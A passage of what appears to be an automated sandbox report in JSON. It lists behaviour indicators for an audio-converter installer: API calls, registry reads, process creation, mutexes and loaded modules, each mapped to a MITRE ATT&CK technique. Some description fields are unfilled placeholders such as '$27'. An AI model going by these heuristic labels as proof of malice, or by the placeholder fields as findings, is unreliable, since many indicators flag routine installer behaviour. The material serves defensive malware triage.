Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"file.tmp\" called \"IsWow64Process\" with parameter \"5244\" - (UID: 00000000-00005244)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"file.tmp\" called \"EnumWindows\" with parameter \"6028040\" - (UID: 00000000-00005244)\n \"file.tmp\" called \"EnumWindows\" with parameter \"6027960\" - (UID: 00000000-00005244)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"file.tmp\" called \"GetWindowTextA\" with parameter \"Setup\" - (UID: 00000000-00005244)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get handle of currently active window","description":"\"file.tmp\" called \"GetActiveWindow\" (UID: 00000000-00005244)","origin":"API Call","mitre_attack_id":"T1010","relevance":5,"id":"api-150","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"file.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00000824)\n \"file.tmp\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005244)\n \"schtasks.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006584)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$27","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"file.tmp\" called \"OpenMutexA\" with parameter \"dio-conv-rip-117\" - (UID: 00000000-00005244)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$28","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"file.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00000824)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00005244.00000000.67138.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowA\" (Indicator: \"FindWindowA\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceExA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00005244.00000000.67138.00401000.00000020.mdmp\")\n Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"file.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"file.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"file.tmp\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"file.tmp\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"schtasks.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"DioConverterRipper.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00001844.00000000.67907.004B0000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp, 00000000-00005244.00000000.67138.733B7000.00000002.mdmp\")\n Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")\n Found reference to API \"FileTimeToLocalFileTime\" (Indicator: \"FileTimeToLocalFileTime\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network parameters of a computer (API string)","description":"Found reference to API \"WNetGetConnectionA\" (Indicator: \"NetGetConnection\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-222","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; File: \"file\")\n Found reference to API \"GetUserDefaultLangID\" (Indicator: \"GetUserDefaultLangID\"; File: \"file\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00000824.00000000.67101.00401000.00000020.mdmp\")\n Found reference to API \"GetUserDefaultLangID\" (Indicator: \"GetUserDefaultLangID\"; Source: \"00000000-00000824.00000000.67101.0040B000.00000004.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00005244.00000000.67138.00401000.00000020.mdmp\")\n Found reference to API \"GetUserDefaultLangID\" (Indicator: \"GetUserDefaultLangID\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")\n Found reference to API \"GetSystemDefaultLangID\" (Indicator: \"GetSystemDefaultLangID\"; Source: \"00000000-00005244.00000000.67138.004A1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"file.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"schtasks.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"file.tmp\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\EN AUDIO CONVERTER_IS1\")\n \"file.tmp\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\EN AUDIO CONVERTER_IS1\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"An application crash occurred","description":"Report process \"WerFault.exe\" was created by \"DioConverterRipper.exe\"","origin":"Monitored Target","id":"target-2","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$2c","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"file.exe\" called \"CreateProcessA\" with parameter \"\"%TEMP%\\is-7FJGB.tmp\\file.tmp\" /SL5=\"$A034A\n6165424\n54272\nC:\\file.exe\"\" - (UID: 00000000-00000824)\n \"file.tmp\" called \"CreateProcessA\" with parameter \"\"%WINDIR%\\system32\\schtasks.exe\" /Delete /F /TN \"DCR1171\"\" - (UID: 00000000-00005244)\n \"file.tmp\" called \"CreateProcessA\" with parameter \"\"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\DioConverterRipper.exe\" -i\" - (UID: 00000000-00005244)\n \"file.tmp\" called \"CreateProcessA\" with parameter \"\"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\DioConverterRipper.exe\" -s\" - (UID: 00000000-00005244)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2d","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Calls an API typically used to move file or directory","description":"$2e","origin":"API Call","mitre_attack_id":"T1570","relevance":1,"id":"api-224","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$2f","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"Delete from the List Without Uninstalling\" (Source: 00000000-00001844.00000000.67907.004B3000.00000002.mdmp, Indicator: \"delete from the list without uninstalling\")\n \"Delete From the Traces\" (Source: 00000000-00001844.00000000.67907.004B3000.00000002.mdmp, Indicator: \"delete from the traces\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"RegCreateKeyExA\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00001844.00000000.67907.004B0000.00000002.mdmp\")\n Found reference to API \"RegCreateKeyEx\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00005244.00000000.67138.00401000.00000020.mdmp\")\n Found reference to API \"RegCreateKeyExA\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp, 00000000-00005244.00000000.67138.004A1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"$30","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteEx failed (%d).\" (Indicator: \"ShellExecute\"; Source: \"00000000-00005244.00000000.67138.00401000.00000020.mdmp\")\n Found reference to API \"ShellExecuteEx\" (Indicator: \"ShellExecute\"; Source: \"00000000-00005244.00000000.67138.00401000.00000020.mdmp\")\n Found reference to API \"ShellExecuteEx returned hProcess=0\" (Indicator: \"ShellExecute\"; Source: \"00000000-00005244.00000000.67138.00401000.00000020.mdmp\")\n Found reference to API \"ShellExecuteExA\" (Indicator: \"ShellExecute\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")\n Found reference to API \"ShellExecuteA\" (Indicator: \"ShellExecute\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; Source: \"00000000-00001844.00000000.67907.004B0000.00000002.mdmp\")\n Found reference to API \"MoveFile\" (Indicator: \"MoveFile\"; Source: \"00000000-00005244.00000000.67138.00401000.00000020.mdmp\")\n Found reference to API \"MoveFileEx\" (Indicator: \"MoveFile\"; Source: \"00000000-00005244.00000000.67138.00401000.00000020.mdmp\")\n Found reference to API \"MoveFileEx failed (%d).\" (Indicator: \"MoveFile\"; Source: \"00000000-00005244.00000000.67138.00401000.00000020.mdmp\")\n Found reference to API \"MoveFileExA\" (Indicator: \"MoveFile\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")\n Found reference to API \"MoveFileA\" (Indicator: \"MoveFile\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; File: \"file\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00000824.00000000.67101.0040B000.00000004.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00001844.00000000.67907.004B0000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00001844.00000000.67907.004B0000.00000002.mdmp\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp, 00000000-00005244.00000000.67138.733B7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"StartServiceCtrlDispatcherW\" (Indicator: \"StartServiceCtrlDispatcher\"; Source: \"00000000-00001844.00000000.67907.004B0000.00000002.mdmp\")\n Found reference to API \"StartServiceCtrlDispatcherW\" (Indicator: \"StartService\"; Source: \"00000000-00001844.00000000.67907.004B0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"$31","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$32","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"Local\\SM0:824:168:WilStaging_02\"\n \"SM0:824:168:WilStaging_02\"\n \"Local\\SM0:5244:168:WilStaging_02\"\n \"RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511\"\n \"SM0:5244:64:WilError_01\"\n \"RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"$33","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"is-3ND5L.tmp\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"is-SAM9T.tmp\" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"is-NS8P1.tmp\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"is-FP29R.tmp\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"is-PISV5.tmp\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"is-S1360.tmp\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"is-RC03K.tmp\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"is-1109E.tmp\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Found Native API in Dotnet file","description":"Observed unmanaged function \"WritePrivateProfileString\" in \"is-SAM9T.tmp\"\n Observed unmanaged function \"GetPrivateProfileString\" in \"is-SAM9T.tmp\"\n Observed unmanaged function \"SHGetFileInfo\" in \"is-SAM9T.tmp\"\n Observed unmanaged function \"CreateStreamOnHGlobal\" in \"is-SAM9T.tmp\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-101","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"General","name":"Found a reference to a known community page","description":"Found string \"OdnoklassnikiTMenuItemS4CaptionTwitterTMenuItemS6CaptionMoi Mir\" (Indicator: \"twitter\"; File: \"is-HPLU5.tmp\")\n Found string \"S4Twitter\" (Indicator: \"twitter\"; File: \"is-HPLU5.tmp\")","origin":"File/Memory","relevance":2,"id":"string-10","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$34","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"file.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 76D40000\n \"file.tmp\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 76D40000\n \"file.tmp\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 73840000\n \"schtasks.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 76D40000\n \"DioConverterRipper.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 76D40000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"file.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76320000\n \"file.tmp\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76320000\n \"schtasks.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76320000\n \"DioConverterRipper.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76320000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"$35","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"\"file.tmp\" touched \"Computer\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\SHELLFOLDER\")\n \"file.tmp\" touched \"Microsoft Multiple AutoComplete List Container\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{00BB2765-6A77-11D0-A535-00C04FD7D062}\")\n \"file.tmp\" touched \"Microsoft Shell Folder AutoComplete List\" (Path: \"HKLM\\SOFTWARE\\CLASSES\\WOW6432NODE\\CLSID\\{03C036F1-A186-11D0-824A-00AA005B4383}\")\n \"file.tmp\" touched \"Microsoft AutoComplete\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{00BB2763-6A77-11D0-A535-00C04FD7D062}\\TREATAS\")\n \"file.tmp\" touched \"Microsoft TipAutoCompleteClient Control\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{807C1E6C-1D00-453F-B920-B61BB7CDD997}\\TREATAS\")\n \"file.tmp\" touched \"Task Bar Communication\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{56FDF344-FD6D-11D0-958A-006097C9A090}\\TREATAS\")\n \"schtasks.exe\" touched \"TaskScheduler class\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\")","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"is-SAM9T.tmp\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","relevance":1,"id":"static-144","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"is-SAM9T.tmp\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"is-NS8P1.tmp\" has Debug data directory 